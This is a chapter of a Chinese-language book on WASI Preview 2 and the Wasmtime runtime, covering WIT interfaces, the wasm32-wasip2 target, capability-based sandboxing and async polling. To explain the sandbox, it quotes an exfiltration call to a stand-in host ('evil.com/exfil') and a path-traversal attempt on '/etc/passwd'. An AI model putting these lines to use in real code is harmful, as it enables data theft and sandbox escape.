Rust + WebAssembly 全链路解析

第13章 WASI Preview 2 与 Wasmtime 运行时

作者 杨艺韬 · 16,417 字 · 发布于 · 更新于

"Simplicity is prerequisite for reliability." — Edsger Dijkstra

13.1 从 Preview 1 到 Preview 2:执行模型的换代

WASI Preview 2(2024 年 2 月随组件模型 Phase 1 发布)不是 Preview 1 的 API 翻新——它是执行模型的根本性换代。

先看 Preview 1 的三个硬伤。第一,fd_read 的签名是 (fd: i32, iovs_ptr: i32, iovs_len: i32) -> i32——调用者传入 i32 指针指向内存中的 scatter/gather 向量,返回值是读取的字节数。这个 API 和 POSIX 的 readv() 几乎一一对应——而 POSIX 的设计源于 1970 年代的 C 语言约束。WASM 的类型系统有能力表达更精确的接口,但 Preview 1 完全浪费了这种能力。

第二,Preview 1 的 fd 是全局整数——文件描述符、目录描述符、socket 描述符共享 0-2^31 的整数空间。这意味着你可以在一个 socket fd 上调用 fd_readdir,或者在目录 fd 上调用 sock_send——编译时完全不报错,运行时才返回 EBADF。这类 bug 在生产系统中极难定位——因为它只在特定调用序列下触发。

第三,Preview 1 没有异步 I/O。fd_read 阻塞整个 WASM 模块——在单线程的 WASM 运行时中,这意味着 I/O 等待期间 CPU 完全空闲。对于需要同时处理多个连接的 HTTP 服务器,这是致命的——第 12 章已经指出,这是服务器端 WASM 最大的缺失。

三个核心变化:

从裸模块到组件:Preview 1 的产物是裸 .wasm 模块——直接暴露 i32 参数的导入/导出函数。Preview 2 的产物是组件(Component)——在裸模块外包了一层 WIT 类型信息,函数签名是类型安全的(stringlist<u8>result<T, E>),不再是原始的 i32 指针+长度。

从 fd 整数到类型化资源:Preview 1 的文件描述符是 i32——文件、目录、socket 共享同一个整数空间。Preview 2 的 descriptordirectory-descriptortcp-socket 是独立的资源类型——编译时就能区分,不可能对目录调用 write

从同步阻塞到异步轮询:Preview 1 的所有 I/O 都是同步的——fd_read 阻塞整个模块。Preview 2 通过 wasi:io/poll 和异步流支持非阻塞 I/O——模块在等待 I/O 时让出执行权,宿主可以调度其他任务。

flowchart LR
  subgraph "Preview 1"
    A["裸 .wasm 模块"] --> B["fd 整数 (i32)"]
    B --> C["同步阻塞 I/O"]
    C --> D["单体 wasi_snapshot_preview1"]
  end
  subgraph "Preview 2"
    E["组件 (.wasm + WIT)"] --> F["类型化资源 (descriptor)"]
    F --> G["异步 poll + 流"]
    G --> H["模块化 wasi:cli / filesystem / http / ..."]
  end
  A -.->|"换代"| E
  B -.->|"换代"| F
  C -.->|"换代"| G
  D -.->|"换代"| H
  style A fill:#ef4444,color:#fff
  style B fill:#ef4444,color:#fff
  style C fill:#ef4444,color:#fff
  style D fill:#ef4444,color:#fff
  style E fill:#10b981,color:#fff
  style F fill:#10b981,color:#fff
  style G fill:#10b981,color:#fff
  style H fill:#10b981,color:#fff

13.2 关键接口详解

Preview 2 把 WASI 拆成多个独立的接口包(package),每个包定义一组相关能力。模块只导入需要的接口——宿主根据导入清单做最小授权。这和 Preview 1 的单体 wasi_snapshot_preview1 模块截然不同——Preview 1 的所有函数(文件、网络、时钟、随机数……)都在一个导入模块里,模块导入 wasi_snapshot_preview1 就自动获得所有能力。

Preview 2 的接口拆分遵循最小权限原则:一个只做 HTTP 处理的组件不需要 wasi:filesystem——宿主在实例化时不注册文件系统接口,组件就无法访问任何文件。这种"默认零权限 + 按需授权"的安全模型比 Docker 的"默认全权限 + 手动限制"更安全——后者依赖运维人员记住配置安全策略,前者是架构级别的保证。

WASI Preview 2 目前定义了以下接口包:

包名 核心接口 能力
wasi:cli environment, exit, stdin/stdout/stderr 命令行参数、环境变量、标准流
wasi:filesystem types, preopens 文件系统读写、目录遍历
wasi:io poll, streams 异步 I/O 轮询和流读写
wasi:sockets tcp, udp, instance-network TCP/UDP 网络编程
wasi:http incoming-handler, outgoing-handler, types HTTP 服务器和客户端
wasi:clocks monotonic-clock, wall-clock 高精度定时器和时钟
wasi:random random, insecure 密码学安全随机数

下面逐个解析最重要的接口。

wasi:cli——命令行基础

package wasi:cli;

interface exit {
    exit: func(status: result) ->_;
}

interface environment {
    get-environment: func() -> list<tuple<string, string>>;
    get-arguments: func() -> list<string>;
    initial-cwd: func() -> option<string>;
}

interface stdin {
    get-stdin: func() -> input-stream;
}

interface stdout {
    get-stdout: func() -> output-stream;
}

interface stderr {
    get-stderr: func() -> output-stream;
}

和 Preview 1 的 args_get/environ_get 相比,Preview 2 的类型签名更精确:get-environment 返回 list<tuple<string, string>>——键值对,而不是两个平行的指针数组。get-arguments 返回 list<string>——不需要调用者预分配缓冲区。

更深层的设计差异:Preview 1 的 args_get 要求调用者传入两个指针(argvargv_buf),调用者需要先调用 args_sizes_get 获取参数数量和总长度,分配内存,再调用 args_get 填充。这是一个两步操作——如果参数在两次调用之间变化(理论上不可能,但 API 没有保证),就会出错。Preview 2 的 get-arguments 一步完成——WIT 的 list<string> 类型由 Canonical ABI 自动处理内存分配,调用者直接获得结果。

wasi:clocks 和 wasi:random

package wasi:clocks;

interface monotonic-clock {
    now: func() -> instant;
    subscribe-duration: func(ns: u64) -> pollable;
    resolution: func() -> u64;
}

interface wall-clock {
    now: func() -> epoch;
    resolution: func() -> u64;
}

package wasi:random;

interface random {
    get-random-bytes: func(len: u64) -> list<u8>;
    get-random-u64: func() -> u64;
    insecure: func() -> generator;  // 不安全但快速的随机数
}

subscribe-duration 是异步的关键——它返回一个 pollable,可以在 wasi:io/poll 中等待。这把"定时器"变成了"I/O 事件"——统一了定时器和文件/网络 I/O 的等待模型。

wasi:io——异步 I/O 的基础设施

package wasi:io;

interface poll {
    resource pollable {
        ready: func() -> bool;
        block: func() -> _;
    }
    poll: func(in: list<pollable>) -> list<u32>;
}

interface streams {
    resource input-stream {
        read: func(len: u64) -> result<list<u8>, stream-error>;
        blocking-read: func(len: u64) -> result<list<u8>, stream-error>;
        subscribe: func() -> pollable;
    }

    resource output-stream {
        write: func(contents: list<u8>) -> result<u64, stream-error>;
        blocking-write: func(contents: list<u8>) -> result<_, stream-error>;
        subscribe: func() -> pollable;
        flush: func() -> result<_, stream-error>;
    }
}

subscribe 方法是异步的核心——每个 input-streamoutput-stream 都可以返回一个 pollable,表示"这个流何时可读/可写"。poll::poll 接收一组 pollable,返回就绪的索引列表——语义和 Linux 的 epoll_wait/BSD 的 kevent 一致,但通过 WIT 接口跨语言可用。

这种设计和 POSIX poll() 的一个关键区别:POSIX 的 pollfd 包含 fdeventsrevents 三个字段——调用者需要构造结构体数组,检查返回的 revents 位掩码。WASI 的 poll 接收 pollable 资源列表,返回就绪索引列表——不需要位掩码操作,更类型安全。代价是 pollable 是一个资源(resource),需要在堆上分配——POSIX 的 pollfd 是栈上结构体。对于大规模并发(万级连接),这个额外分配开销需要考虑。

read vs blocking-read 的区别:read 是非阻塞的——如果缓冲区没有数据,立即返回空列表。blocking-read 是阻塞的——它会等待直到有数据或出错。在组件模型中,blocking-read 实际上是通过 subscribe + poll 实现的协作式阻塞——WASM 让出执行权,宿主在数据就绪后恢复执行。

wasi:http——HTTP 客户端和服务器

package wasi:http;

interface incoming-handler {
    handle: func(request: incoming-request, response-out: response-outparam);
}

interface outgoing-handler {
    handle: func(request: outgoing-request, options: option<request-options>) -> result<incoming-response, error-code>;
}

interface types {
    resource incoming-request {
        method: func() -> method;
        path-with-query: func() -> option<string>;
        headers: func() -> headers;
        consume: func() -> result<input-stream, _>;
    }

    resource outgoing-response {
        set-status-code: func(status: u16) -> result<_, _>;
        headers: func() -> headers;
        body: func() -> result<output-stream, _>;
    }
}

incoming-handler 是 Preview 2 最具变革性的接口——它定义了一个被动式 HTTP 处理器:宿主接收 HTTP 请求,构造 incoming-request 对象,调用模块的 handle 函数。模块不需要自己监听端口、接受连接——这些全部由宿主负责。

这和传统的 HTTP 服务器模型(主动绑定端口、循环 accept)完全不同——而和《Axum 设计与实现》第 3 章的 Handler trait 设计异曲同工:都是"框架负责连接管理,用户只写请求处理逻辑"。

flowchart TD
  subgraph "传统 HTTP 服务器 (Axum/Nginx)"
    A[应用代码] --> B["bind + listen + accept<br/>(运行时管理)"]
    B --> C["handler(request) → response<br/>(用户逻辑)"]
  end
  subgraph "WASI HTTP (wasi:http/incoming-handler)"
    D["宿主 (Wasmtime)"] --> E["bind + listen + accept<br/>(hyper 服务器)"]
    E --> F["handle(request, response-out)<br/>(WASM 模块逻辑)"]
    F --> G["构造 outgoing-response"]
    G --> E
  end
  style B fill:#f59e0b,color:#fff
  style E fill:#10b981,color:#fff
  style F fill:#6366f1,color:#fff

13.3 wasm32-wasip2 目标

Rust 在 2024 年添加了 wasm32-wasip2 目标三元组——专门为 WASI Preview 2 + 组件模型设计。这个目标的添加过程经历了 RFC 阶段的激烈讨论——核心争议是"Rust 应该支持多少个 WASM 目标"。当时已有 wasm32-unknown-unknown(浏览器)和 wasm32-wasi(服务器 Preview 1),再加 wasm32-wasip2 意味着三套 WASM 目标的维护负担。最终的决定是:wasm32-wasi 进入维护模式(Tier 3),wasm32-wasip2 成为 Tier 2 目标——长期来看只保留两个活跃的 WASM 目标。

# 安装目标
rustup target add wasm32-wasip2

# 编译(产物是组件格式的 .wasm)
cargo build --target wasm32-wasip2 --release

wasm32-wasip2wasm32-wasi 的关键差异:

维度 wasm32-wasi wasm32-wasip2
产物格式 .wasm 模块 组件 .wasm(含 WIT 元数据)
系统调用风格 fd 整数 + wasi_snapshot_preview1 类型化资源 + wasi:cli/filesystem/...
std::net 不可用 可用(通过 wasi:sockets
std::fs 可用 可用
异步 I/O 不支持 通过 wasi:io/poll 支持
稳定状态 维护模式(不再添加新功能) 活跃开发
运行时要求 任何 WASI Preview 1 运行时 支持组件模型的运行时(Wasmtime ≥ 18)

wasm32-wasip2 编译产物的一个重要变化:它不是普通的 .wasm 模块——它是一个组件。组件在裸模块外包了一层封装,包含 WIT 类型信息、Canonical ABI 适配器代码、导入/导出的接口声明。这意味着它不能在只支持 Preview 1 的运行时上执行——必须使用支持组件模型的运行时。

Rust 代码示例:命令行程序

use std::fs;
use std::io::{self, Write};

fn main() -> io::Result<()> {
    // 和原生 Rust 代码完全一样——std::fs 和 std::io 在 wasip2 上工作
    let content = fs::read_to_string("input.txt")?;
    let word_count = content.split_whitespace().count();

    println!("Words: {}", word_count);

    fs::write("output.txt", format!("Word count: {}", word_count))?;
    Ok(())
}

编译到 wasm32-wasip2 后,std::fs::read_to_string 底层调用 wasi:filesystem/typesread 方法,println! 底层调用 wasi:cli/stdoutget-stdout + wasi:io/streamsblocking-write。Rust 代码不需要任何条件编译——标准库在 wasm32-wasip2 目标上自动使用 WASI Preview 2 的实现。

组件格式与 cargo-component

wasm32-wasip2 编译的产物是组件格式的 .wasm——不是裸模块。这意味着你需要 cargo-component 工具来管理组件的构建和 WIT 依赖:

# 安装 cargo-component
cargo install cargo-component

# 创建新的 WASI 组件项目
cargo component new my-wasi-app --lib

# 构建(自动处理 WIT 依赖和组件封装)
cargo component build --release

cargo-component 做了两件 cargo build 不做的事:第一,它从 wasi:cliwasi:http 等 WIT 包生成 Rust 绑定代码(类似 wit-bindgen 但集成在构建流程中);第二,它在编译后把裸 .wasm 模块封装成组件格式——添加 WIT 元数据、Canonical ABI 适配器、导入/导出声明。

生成的 Cargo.toml 会自动包含 WASI 依赖:

[dependencies]
wit-bindgen = "0.33"

[package.metadata.component]
package = "my-wasi-app"

[package.metadata.component.dependencies]
"wasi:cli" = "0.2"
"wasi:http" = "0.2"

全栈编译的实际配置

很多项目需要同时编译浏览器版本和服务器版本——浏览器用 wasm32-unknown-unknown + wasm-bindgen,服务器用 wasm32-wasip2 + WASI。Cargo 的 cfg 条件编译可以实现:

[lib]
crate-type = ["cdylib", "lib"]

[target.'cfg(target_arch = "wasm32")'.dependencies]
wasm-bindgen = { version = "0.2", optional = true }
web-sys = { version = "0.3", features = ["Window"], optional = true }

[features]
browser = ["wasm-bindgen", "web-sys"]
server = []
#[cfg(feature = "browser")]
use wasm_bindgen::prelude::*;

#[cfg(feature = "browser")]
#[wasm_bindgen]
pub fn process(data: &[u8]) -> Vec<u8> {
    core_process(data)
}

#[cfg(feature = "server")]
pub fn process(data: &[u8]) -> Vec<u8> {
    core_process(data)
}

fn core_process(data: &[u8]) -> Vec<u8> {
    // 共享的核心逻辑
    data.iter().map(|b| b.wrapping_add(1)).collect()
}

关键点:cfg(target_arch = "wasm32") 在两个 WASM 目标上都匹配。用 cfg(target_os = "unknown") 区分浏览器(unknown)和 WASI(wasip2 等价于有 OS 层)。

13.4 Wasmtime 44 的 WASI Preview 2 实现

Wasmtime 从版本 18 开始支持 WASI Preview 2,到版本 44(2025 年发布)已经成熟稳定。其 WASI Preview 2 的实现架构:

flowchart TD
  A[WASM 组件] --> B[组件模型运行时]
  B --> C{WASI 接口调用}
  C -->|wasi:cli| D[CLI 实现<br/>参数/环境/退出]
  C -->|wasi:filesystem| E[文件系统实现<br/>cap-std 沙箱]
  C -->|wasi:sockets| F[Socket 实现<br/>tokio 异步 I/O]
  C -->|wasi:http| G[HTTP 实现<br/>hyper 处理]
  C -->|wasi:clocks| H[时钟实现<br/>系统时间]
  C -->|wasi:random| I[随机数实现<br/>系统 RNG]
  C -->|wasi:io/poll| J[Poll 实现<br/>tokio 事件循环]
  E --> K[操作系统]
  F --> K
  G --> K
  H --> K
  I --> K
  J --> K
  style B fill:#6366f1,color:#fff
  style E fill:#f59e0b,color:#fff
  style J fill:#10b981,color:#fff

组件实例化流程

Preview 2 的模块不是裸 .wasm——它是组件(Component)。Wasmtime 必须用组件模型的方式实例化:

flowchart TD
  A[".wasm 组件<br/>(含 WIT 元数据)"] --> B[解码组件二进制]
  B --> C[验证接口类型]
  C --> D[解析导入需求<br/>wasi:cli / filesystem / ...]
  D --> E[创建 WASI 上下文<br/>WasiCtxBuilder]
  E --> F[Linker 注册 WASI 实现]
  F --> G[实例化组件]
  G --> H{有 start 函数?}
  H -->|是| I[执行 start]
  H -->|否| J[等待导出函数调用]
  style E fill:#f59e0b,color:#fff
  style F fill:#10b981,color:#fff
  style G fill:#6366f1,color:#fff

WasiCtxBuilder

Wasmtime 用 WasiCtxBuilder 构建 WASI 上下文——控制模块获得哪些能力:

use wasmtime_wasi::preview2::{WasiCtxBuilder, WasiCtx};
use wasmtime::{Engine, Store, Linker, Component};

async fn run_component() -> Result<()> {
    let engine = Engine::default();
    let component = Component::from_file(&engine, "my_app.wasm")?;

    let wasi = WasiCtxBuilder::new()
        .args(&["my-app", "--verbose"])
        .env("MODE", "production")
        .preopened_dir(
            Dir::open_ambient_dir("./data", ambient_authority())?,
            DirPerms::READ,
            FilePerms::READ,
            "data",
        )?
        .inherit_stdout()
        .inherit_stderr()
        .build();

    let mut linker = Linker::new(&engine);
    wasmtime_wasi::preview2::command::add_to_linker(&mut linker)?;

    let mut store = Store::new(&engine, wasi);
    let instance = linker.instantiate_async(&mut store, &component).await?;

    // 调用 wasi:cli/run 的 run 函数
    let run = instance.get_typed_func::<(), Result<(), ()>>(&mut store, "run")?;
    run.call_async(&mut store, ()).await??;

    Ok(())
}

command::add_to_linker 注册了 wasi:cli/run world 的所有接口实现——包括 wasi:cli/environmentwasi:cli/exitwasi:filesystem/typeswasi:clockswasi:random 等。模块的每一个 WASI 调用都经过这些注册的实现——未注册的接口在实例化时就会报错。

WasiCtxBuilder 的安全边界

WasiCtxBuilder 的每个方法都对应一个能力授权——不调用的方法意味着不授权。这是能力安全的核心实现:

// 最小权限:只允许读取标准输入、写入标准输出
let wasi = WasiCtxBuilder::new()
    .inherit_stdin()    // 授予 stdin 读取
    .inherit_stdout()   // 授予 stdout 写入
    // 没有 inherit_stderr —— 模块无法写入 stderr
    // 没有 preopened_dir —— 模块无法访问文件系统
    // 没有 env —— 模块无法读取环境变量
    .build();

这种"默认零权限"的设计避免了 Docker 的一个常见安全失误——Dockerfile 经常 RUN chmod 777 /data 或挂载整个主机文件系统,因为配置正确的细粒度权限太繁琐。WASI 的能力安全在架构层面防止了这种"图方便"导致的安全漏洞——你无法授予你没有的能力。

WasiCtxBuildercap-std 的配合实现文件系统沙箱——preopened_dir 接受一个 cap_std::fs::Dir 对象,这个对象本身就是受限的——它只能访问创建时指定目录及其子目录。即使在 WASM 模块内部调用 std::fs::canonicalize("../../etc/passwd")cap-std 会在路径规范化后检查是否逃逸了沙箱边界——如果逃逸则返回 PermissionDenied

实例生命周期

一个组件实例从创建到销毁的完整生命周期:

stateDiagram-v2
    [*] --> Creating: 加载组件文件
    Creating --> Configuring: 构建 WasiCtx
    Configuring --> Linking: 添加 host 函数
    Linking --> Instantiating: 实例化组件
    Instantiating --> Ready: 实例化完成
    Ready --> Running: 调用导出函数
    Running --> Waiting: poll 让出执行权
    Waiting --> Running: I/O 就绪 恢复执行
    Running --> Ready: 函数返回
    Ready --> Destroyed: Store drop
    Running --> Trapped: 运行时错误
    Trapped --> Destroyed: 清理

每个状态转换的开销:Creating(编译组件 → 机器码)占 80% 时间,Configuring + Linking 占 15%,Instantiating 占 5%。缓存编译结果(Module::deserialize)可以把 Creating 阶段从秒级降到毫秒级。

13.5 HTTP 处理器:wasi:http/incoming-handler

wasi:http 是 Preview 2 新增的最重要的接口——它让 WASM 模块可以直接处理 HTTP 请求/响应,不需要外部代理。

WASI HTTP 的设计哲学可以概括为一个类比:如果 Axum 是"你自己开店、自己接待客人",那 WASI HTTP 就是"你只负责做菜,餐厅负责接待和端菜"。模块不需要关心 TCP 连接管理、HTTP 协议解析、keep-alive——它只需要实现"收到请求 → 返回响应"的逻辑。

实现一个 HTTP Handler

use wasi::http::incoming_handler;
use wasi::http::types::*;

struct HttpHandler;

impl incoming_handler::Guest for HttpHandler {
    fn handle(request: IncomingRequest, response_out: ResponseOutparam) {
        let path = request.path_with_query().unwrap_or("/".to_string());
        let method = request.method().to_string();

        match (method.as_str(), path.as_str()) {
            ("GET", "/") => {
                let body = "Hello from WASM!";
                send_response(response_out, 200, body.as_bytes());
            }
            ("GET", "/api/status") => {
                let body = r#"{"status":"ok","runtime":"wasi-preview2"}"#;
                send_response(response_out, 200, body.as_bytes());
            }
            _ => {
                send_response(response_out, 404, b"Not Found");
            }
        }
    }
}

fn send_response(response_out: ResponseOutparam, status: u16, body: &[u8]) {
    let response = OutgoingResponse::new(Fields::new());
    response.set_status_code(status).unwrap();
    let body_stream = response.body().unwrap();
    body_stream.write().unwrap().blocking_send_and_flush(body).unwrap();
    ResponseOutparam::set(response_out, Ok(response));
}

export!(HttpHandler);

HTTP 请求的完整流转

sequenceDiagram
  participant C as 客户端
  participant H as hyper 服务器<br/>(Wasmtime 宿主)
  participant W as WASM 组件
  participant F as 文件系统<br/>(wasi:filesystem)
  C->>H: GET /api/status HTTP/1.1
  H->>H: 构造 incoming-request
  H->>W: handle(request, response-out)
  W->>W: 解析 path = "/api/status"
  W->>W: 构造 JSON 响应体
  W->>W: 调用 outgoing-response.body()
  W->>W: blocking-send-and-flush(body)
  W-->>H: ResponseOutparam::set(response)
  H->>H: 读取 outgoing-response
  H-->>C: HTTP/1.1 200 OK<br/>{"status":"ok"}
  Note over C,F: 同一个 WASM 组件可以同时导入 wasi:filesystem
  C->>H: GET /files/data.json
  H->>W: handle(request, response-out)
  W->>F: read("data.json")
  F-->>W: file content
  W->>W: 构造响应
  W-->>H: ResponseOutparam::set(response)
  H-->>C: 200 OK + file content

wasmtime serve:一行命令启动 HTTP 服务

Wasmtime 提供了 wasmtime serve 子命令,一行命令即可把 WASM 组件变成 HTTP 服务器:

# 启动 HTTP 服务器,监听 8080 端口
wasmtime serve --listen 0.0.0.0:8080 my_handler.wasm

# 指定允许的目录
wasmtime serve --listen 0.0.0.0:8080 --dir ./data my_handler.wasm

# 指定环境变量
wasmtime serve --listen 0.0.0.0:8080 --env DB_PATH=/data/db my_handler.wasm

wasmtime serve 做了这些事:

  1. 实例化 WASM 组件,配置 wasi:httpwasi:cli 导入
  2. 启动一个 hyper HTTP 服务器,监听指定端口
  3. 收到请求时,构造 incoming-request 资源,调用 WASM 的 handle 函数
  4. WASM 处理完成后,把 outgoing-response 写回 hyper 的响应流

底层 hyper 服务器处理了 TCP 连接管理、HTTP/1.1 协议解析、keep-alive、分块传输编码等细节——WASM 模块只需要实现业务逻辑。

HTTP Handler 的宿主侧配置

在宿主侧,需要用 wasmtime_wasi_http 配置 HTTP 支持:

use wasmtime_wasi_http::HttpOptions;

async fn run_http_component() -> Result<()> {
    let engine = Engine::default();
    let component = Component::from_file(&engine, "http_handler.wasm")?;

    let wasi = WasiCtxBuilder::new()
        .inherit_stdout()
        .inherit_stderr()
        .build();

    let mut linker = Linker::new(&engine);

    // 注册 WASI CLI + HTTP 支持
    wasmtime_wasi::preview2::command::add_to_linker(&mut linker)?;
    wasmtime_wasi_http::add_to_linker(&mut linker, HttpOptions::default())?;

    let mut store = Store::new(&engine, wasi);
    let instance = linker.instantiate_async(&mut store, &component).await?;

    // 如果组件导出 wasi:http/incoming-handler,宿主可以直接调用
    let handler = instance
        .get_typed_func::<(u32, u32), ()>(&mut store, "handle")?;

    Ok(())
}

HttpOptions::default() 配置了默认的出站 HTTP 限制——组件可以通过 wasi:http/outgoing-handler 发起 HTTP 请求,但默认不允许。需要显式配置 allowed_http_hosts

let http_opts = HttpOptions {
    allowed_http_hosts: Some(vec![
        "api.example.com".to_string(),
        "cdn.example.com".to_string(),
    ]),
    ..Default::default()
};

这又是一个能力安全的实例:WASM 组件不能像 Node.js 代码那样随意调用 fetch("http://evil.com/exfil")——它只能访问宿主白名单中的域名。

与 Axum Handler 的对比

WASI HTTP Handler 和 Axum 的 Handler trait 有相似的设计哲学,但实现层面差异显著:

// Axum Handler —— 直接访问 Rust 的全部生态
async fn handle_axum(req: Request) -> Response {
    let body = req.into_body();
    let bytes = axum::body::to_bytes(body, 1024).await.unwrap();
    // 可以直接用 tokio::fs、sqlx、reqwest...
    let db_result = sqlx::query("SELECT ...").fetch_one(&pool).await;
    Response::builder().body("ok".into()).unwrap()
}

// WASI HTTP Handler —— 只能通过 WASI 接口访问外部世界
fn handle_wasi(request: IncomingRequest, response_out: ResponseOutparam) {
    let path = request.path_with_query().unwrap_or("/".to_string());
    // 没有 tokio::fs —— 只能用 wasi:filesystem
    // 没有 sqlx —— 只能通过 wasi:sockets 自行实现数据库协议
    // 没有 reqwest —— 只能用 wasi:http/outgoing-handler
    send_response(response_out, 200, b"ok");
}

核心区别:Axum Handler 运行在完整的 Rust 异步运行时上,可以自由使用任何 crate;WASI Handler 运行在沙箱中,所有外部交互必须通过 WASI 接口。前者的优势是灵活性和生态,后者的优势是安全性和可移植性——同一个 WASI Handler 可以在 Wasmtime、Wasmer、WAMR 等不同运行时上执行,不需要重新编译。

13.6 异步 I/O:wasi:io/poll 的实现

Preview 2 的异步 I/O 是最复杂的子系统。WASM 本身没有 async/await(组件模型的异步提案仍在开发中),所以异步通过回调+轮询的协作模型实现。

poll 的工作机制

// wasi:io/poll.wit
poll: function(in: list<pollable>) -> list<u32>;

poll 接收一组 pollable 对象,阻塞直到至少一个就绪,返回就绪对象的索引列表。它的语义和 POSIX 的 poll()/epoll_wait() 一致——但实现路径完全不同。

sequenceDiagram
  participant W as WASM 模块
  participant R as Wasmtime 运行时
  participant T as tokio 运行时
  participant O as 操作系统
  W->>R: poll::poll([stream, timer])
  R->>T: tokio::select!(stream.ready(), timer.ready())
  T->>O: epoll_wait / kqueue
  Note over O: 等待 I/O 事件...
  O-->>T: stream 就绪
  T-->>R: stream.ready() 返回
  R-->>W: 返回 [0](stream 就绪)
  W->>R: stream.read(4096)
  R->>T: AsyncRead::read()
  T->>O: read(fd, buf)
  O-->>T: 数据返回
  T-->>R: 数据拷贝到 WASM 线性内存
  R-->>W: 返回读取的字节数

关键设计:WASM 模块不知道 tokio 的存在——它只调用 WASI 的 poll 接口,Wasmtime 负责把 poll 映射到 tokio 的异步 I/O。这种分层让模块代码不依赖具体的异步运行时——同一个模块可以在 Wasmtime(tokio)和 Wasmer(smol)上运行。

Rust 中的异步 WASI 编程

wasm32-wasip2 上,Rust 的 async fn 编译为状态机——和编译到 x86_64 时一样。但 WASM 的状态机没有自己的调度器——它必须让出执行权给宿主。

use wasi::io::poll;
use wasi::io::streams::{InputStream, OutputStream};
use wasi::clocks::monotonic_clock;

async fn read_with_timeout(stream: InputStream, timeout_ms: u32) -> Option<Vec<u8>> {
    let stream_pollable = stream.subscribe();
    let timer_pollable = monotonic_clock::subscribe_duration(
        timeout_ms as u64 * 1_000_000, // 纳秒
    );

    let ready = poll::poll(&[stream_pollable, timer_pollable]);

    if ready.contains(&0) {
        // stream 就绪——读取数据
        match stream.read(4096) {
            Ok(data) => Some(data),
            Err(_) => None,
        }
    } else {
        None // 超时
    }
}

Wasmtime 的 call_async 方法实现协作调度:

// Wasmtime 宿主代码
let result = instance
    .typed_func::<(i32,), i32>("process")?
    .call_async(&mut store, (input,))
    .await?;

call_async 让 WASM 函数在 tokio 的异步上下文中执行。当 WASM 调用 poll::poll 时,Wasmtime 挂起 WASM 执行,把控制权交回 tokio——tokio 可以调度其他任务或等待 I/O。I/O 就绪后,tokio 恢复 Wasmtime,Wasmtime 恢复 WASM 执行。

异步流的读写模式

WASI 的流定义了两种读写模式:非阻塞(read/write)和阻塞(blocking-read/blocking-write)。

非阻塞模式适用于 poll 循环:

// 非阻塞模式:手动 poll 循环
loop {
    let pollable = stream.subscribe();
    let ready = poll::poll(&[pollable]);
    if ready.contains(&0) {
        match stream.read(4096) {
            Ok(data) if data.is_empty() => break, // EOF
            Ok(data) => process(data),
            Err(_) => break,
        }
    }
}

阻塞模式适用于简单的顺序读写——底层仍然是协作式调度:

// 阻塞模式:简单但高效
let data = stream.blocking_read(4096)?; // 让出执行权直到数据就绪
output.blocking_write(&data)?;          // 让出执行权直到写入完成
output.flush()?;                        // 确保数据发送

blocking-read 并不是真正阻塞线程——它在 WASM 层面是"让出执行权+等待恢复"的协作式阻塞。Wasmtime 会在 blocking-read 调用时挂起 WASM 执行,在数据就绪后恢复——整个过程中 tokio 的工作线程不会阻塞。

13.7 从 Preview 1 到 Preview 2 的迁移

维度 Preview 1 Preview 2
API 风格 C fd-based WIT 接口定义
类型安全 fd 是整数 资源类型
异步 wasi:io/poll
网络 wasi:sockets + wasi:http
模块化 单体 monolith 独立接口包
目标三元组 wasm32-wasi wasm32-wasip2
Rust std 支持 部分 完整(通过 WASI 系统调用)
组件模型 不使用 强制(输出组件格式)
Wasmtime 最低版本 0.18+ 18.0+

迁移路径:Rust 的 wasm32-wasi 目标已进入维护模式,新项目应使用 wasm32-wasip2。现有代码的迁移通常只需改 Cargo.toml 中的目标和依赖:

# 旧 (Preview 1)
[dependencies]
wasi = "0.11"  # Preview 1 绑定

# 新 (Preview 2)
[dependencies]
wasi = "0.13"  # Preview 2 绑定

大部分 Rust 标准库的 API(std::fsstd::netstd::time)在两个目标上都能工作——差异在底层实现而非用户 API。但有两个需要注意的破坏性变化:

fd 不再是 i32:如果代码直接使用了 wasi::fd_readwasi::fd_write 等 Preview 1 的底层 API(不通过 std::fs),这些 API 在 Preview 2 中不存在。需要改用 wasi::io::streamsinput-stream/output-stream

preopens 的路径映射:Preview 1 用 fd_prestat_dir_name 获取路径名;Preview 2 用 wasi:filesystem/preopens 接口返回 list<tuple<descriptor, string>>——类型更安全,但获取方式不同。

13.8 安全边界与运行时限制

文件系统沙箱

cap-std 的沙箱策略:

  1. 路径规范化:所有路径都经过 canonicalize 处理——符号链接被解析,../ 被消除
  2. 边界检查:规范化后的路径必须以预打开目录的规范化路径为前缀——否则拒绝
  3. 权限检查:即使路径合法,也要检查操作是否符合预打开时声明的权限(读/写)
// cap-std 内部的关键检查(简化)
fn check_path(base: &Path, requested: &Path, perms: DirPerms) -> Result<()> {
    let canonical = base.join(requested).canonicalize()?;
    if !canonical.starts_with(base.canonicalize()?) {
        return Err(Error::PermissionDenied); // 逃逸尝试
    }
    if perms == DirPerms::READ && operation_is_write() {
        return Err(Error::ReadOnly); // 写入只读目录
    }
    Ok(())
}

网络沙箱

wasi:sockets 的安全模型和文件系统类似——模块默认没有网络能力。Wasmtime 通过配置控制:

# 允许 TCP 连接到指定地址
wasmtime --tcplisten 127.0.0.1:8080 my_module.wasm

# 允许出站连接到指定地址
wasmtime --tcplisten 0.0.0.0:0 my_module.wasm

Wasmtime 的网络实现:模块的 socket() 调用被 Wasmtime 拦截——只允许创建宿主授权的 socket。未授权的网络请求直接返回错误码 EACCES

执行超时

执行超时是服务器场景的关键安全措施——防止恶意或有 bug 的模块无限循环占用 CPU。Wasmtime 用 epoch 机制实现:设置一个 epoch 计数器,模块执行到特定位置时检查当前 epoch 是否已过期——如果过期,trap 退出。

// 宿主代码:设置 5 秒超时
store.set_epoch_deadline(1);
std::thread::spawn(move || {
    std::thread::sleep(Duration::from_secs(5));
    engine.increment_epoch();
});

// 超时后 WASM 的执行会被 trap 中断
// 模块可以通过 trap 机制捕获超时并做清理

资源限制

限制 默认值 配置方式
线性内存最大 4 GB Config::max_wasm_memory()
表最大元素数 10,000,000 Config::max_wasm_table_elements()
实例最大数量 10,000 Config::max_instances()
执行超时 无限制 Store::set_epoch_deadline() + epoch 中断
文件大小限制 无限制 宿主操作系统限制
网络连接数 无限制 宿主操作系统限制

13.9 跨专栏关联:WASI 异步与 Tokio 异步

WASI Preview 2 的异步模型和《Tokio 源码深度解析》第 8 章(I/O Driver)形成有趣对照:

  • Tokio:Rust 代码直接调用 epoll/kqueue,自己管理 I/O 事件循环——运行时即调度器
  • WASI:Rust 代码调用 wasi:io/poll,Wasmtime 把 poll 映射到宿主的异步 I/O——运行时是代理

